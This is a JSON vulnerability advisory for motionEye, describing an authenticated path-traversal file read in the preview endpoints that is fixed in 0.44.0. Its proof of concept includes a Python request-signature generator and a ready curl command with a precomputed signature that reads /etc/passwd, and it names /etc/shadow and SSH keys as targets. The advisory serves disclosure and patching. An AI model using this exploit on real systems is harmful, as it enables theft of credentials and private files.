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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "motioneye"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.44.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31978"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T17:10:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 \u2014 SAFE\ndef get_media_content(camera_config, path, media_type):\n    target_dir = camera_config[\u0027target_dir\u0027]\n    full_path = os.path.join(target_dir, path)\n\n    if \u0027..\u0027 in path:        # \u003c-- PATH TRAVERSAL CHECK PRESENT\n        return None\n    ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 \u2014 VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n    target_dir = camera_config[\u0027target_dir\u0027]\n    full_path = os.path.join(target_dir, path)\n    # \u003c-- NO \u0027..\u0027 CHECK\n    ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado\u0027s URL router does NOT normalize \u2014 it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:\u003cpath\u003e?_username=\u003cuser\u003e::\u003cpassword\u003e\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r\u0027[^A-Za-z0-9/?_.=\u0026{}\\[\\]\\\":, -]\u0027, re.DOTALL)\n\ndef compute_signature(method, path, key=\u0027\u0027):\n    parts = list(urllib.parse.urlsplit(path))\n    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != \u0027_signature\u0027]\n    query.sort(key=lambda q: q[0])\n    query = [(n, urllib.parse.quote(v, safe=\"!\u0027()*~\")) for (n, v) in query]\n    query = \u0027\u0026\u0027.join([(q[0] + \u0027=\u0027 + q[1]) for q in query])\n    parts[0] = parts[1] = \u0027\u0027\n    parts[3] = query\n    path = urllib.parse.urlunsplit(parts)\n    path = _SIGNATURE_REGEX.sub(\u0027-\u0027, path)\n    key = _SIGNATURE_REGEX.sub(\u0027-\u0027, key)\n    return hashlib.sha1((\u0027{}:{}:{}:{}\u0027.format(method, path, \u0027\u0027, key)).encode(\u0027utf-8\u0027)).hexdigest().lower()\n\npath = \u0027/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin\u0027\nsig = compute_signature(\u0027GET\u0027, path)\nprint(f\u0027Signature: {sig}\u0027)\nprint(f\u0027curl --path-as-is -s \"http://TARGET:8765/{path}\u0026_signature={sig}\"\u0027)\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** \u2014 without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin\u0026_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n\u003cimg width=\"1743\" height=\"410\" alt=\"etc_passwd\" src=\"https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64\" /\u003e\n\n\u003e **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` \u2014 user enumeration\n- `/etc/motioneye/motion.conf` \u2014 admin password hash, surveillance password in plaintext\n- `/etc/shadow` \u2014 password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras",
  "id": "GHSA-g9fx-5r4h-pcw3",
  "modified": "2026-06-22T17:10:38Z",
  "published": "2026-06-22T17:10:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/motioneye-project/motioneye"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint"
}